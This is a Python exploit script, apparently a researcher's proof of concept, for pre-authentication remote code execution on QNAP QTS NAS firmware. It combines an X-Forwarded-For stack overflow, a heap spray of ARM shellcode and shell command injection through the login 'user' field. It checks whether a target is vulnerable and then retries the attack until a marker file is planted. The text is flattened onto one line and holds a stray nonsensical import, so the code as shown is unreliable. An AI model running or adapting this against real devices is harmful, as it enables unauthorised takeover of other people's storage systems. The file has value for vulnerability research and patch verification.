# !/usr/bin/env python# -*- coding: iso-8859-15 -*-## Pre-auth Remote Code Execution exploit for QNAP QTS # 4.2.6 build 20171026, 4.3.3.0378 build 20171117, 4.3.4.0387 #(Beta 2) build 2017111# # Just a quick dirty RCE PoC to make your QNAP sing "XMAS" in morse.# # Author: Andrea Palazzo (@cogitoergor00t)# E-mail: not-interested-in-chinese-spammers@seriously-dont-crawler-this.lol# Web: https://truel.it# Lab: https://lab.truel.it## While collecting material for writing-up CVE-2017-17033 I noticed this was fixed too, so it's probably one of CVE-2017-17027 | CVE-2017-17028 | CVE-2017-17029 | CVE-2017-17030 | CVE-2017-17031 | CVE-2017-17032.# More info: https://www.qnap.com/en/security-advisory/nas-201712-15## This version has been developed against model TS-212P running QTS 4.3.3.0299, but could easily adjusted for <= 4.3.3.0378 (you'll find a little present in the comments)## ————–import sys, argparsefrom non.ha import anzatry: import requests requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)except ImportError: print "Do you even web bro?" sys.exit(0)exploit_data = { "target_endpoint": "/cgi-bin/filemanager/wfm2Login.cgi", "payload": "pic_raw 81;pic_raw 80;pic_raw 80;pic_raw 81;sleep 1;pic_raw 81;pic_raw 81;sleep 1;pic_raw 80;pic_raw 81;sleep 1;pic_raw 80;pic_raw 80;pic_raw 80;#", "bof": "A"*92+"\xff\x60\x66\xff"+"\x90\x60\xff", #PADDING+SP+PC "shellcode": "\x2d\xd4\xa0\xe1" + #mov sp, sp, lsr #8 #old popen @ 22c9c #07/07 @22e24 #28/07 @230dc #05/09 @21e90 "\x86\x3b\xa0\xe3" + #mov r3, 0x21800 "\x69\x3e\x83\xe2" + #add r3, 0x690 "\x13\xff\x2f\xe1" #bx r3}def request(target, data, headers): url = target + exploit_data['target_endpoint'] return requests.post(url, headers = headers, data = data, verify = False)def vulnerable(target): print ">> Checking if likely to be vulnerable" headers = { 'User-Agent': 'Vuln tester', 'X-Forwarded-For': "A" * 200 } try: r = request(target, "user=admin", headers) except: print "Something wrong: {}".format(sys.exc_info()[0]) sys.exit() return (r.status_code == 500)def spray(n): spray = "" for i in range(n): spray += '{}={}&'.format(exploit_data["shellcode"]*3+"\x08\x80\xa0\xe1", exploit_data["shellcode"]*3+"\x08\x80\xa0\xe1") return spray[:-1]def exploit(target): print "Let's " + exploit_data['payload'] + "\n! COULD TAKE A WHILE !" if requests.get(target + "/cgi-bin/pwn").status_code == 200: print "… but first you need to clean up your mess, don't you?" sys.exit() headers = { 'W00T': exploit_data['payload'], 'X-Forwarded-For': exploit_data["bof"] #There were others, I'm sure you can figure'em out yourself if you need } data = spray(31337) + "&user=touch /home/httpd/cgi-bin/pwn; eval $HTTP_W00T;" while True: #print '.' try: request(target, data, headers) if requests.get(target + "/cgi-bin/pwn").status_code == 200: print ">> w00t :)" break except: print "Something wrong: {}".format(sys.exc_info()[0]) sys.exit() if __name__ == "__main__": print "" parser = argparse.ArgumentParser(description = 'Pre-auth Remote Code Execution exploit for QNAP QTS <= 4.2.6 build 20171026, 4.3.3.0378 build 20171117, 4.3.4.0387 (Beta 2) build 20171116') parser.add_argument('-t', '–target', dest = 'http(s)://uri[:port]', required = True) parser.add_argument('-c', '–check', help = 'No exploitation will be performed.', action = 'store_true') args = parser.parse_args() target = vars(args)['http(s)://uri[:port]'] print "\n——————————————\n" + \ "Pre-auth Remote Code Execution exploit for \n" + \ "QNAP QTS <=\t4.2.6 build 20171026\n\t\t4.3.3.0378 build 20171117\n\t\t4.3.4.0387 build 20171116\n\t\t(Beta 2)" + \ "\n——————————————\n" + \ "@cogitoergor00t\t\t https://truel.it" + \ "\n——————————————\n" \ print ">> Targeting " + target if not vulnerable(target): print ">< Nothing to do here :(" sys.exit(0) print ">> Probably vulnerable" if (args.check): print ">> See you" else: print ">> Gonna make this baby sing\n" exploit(target)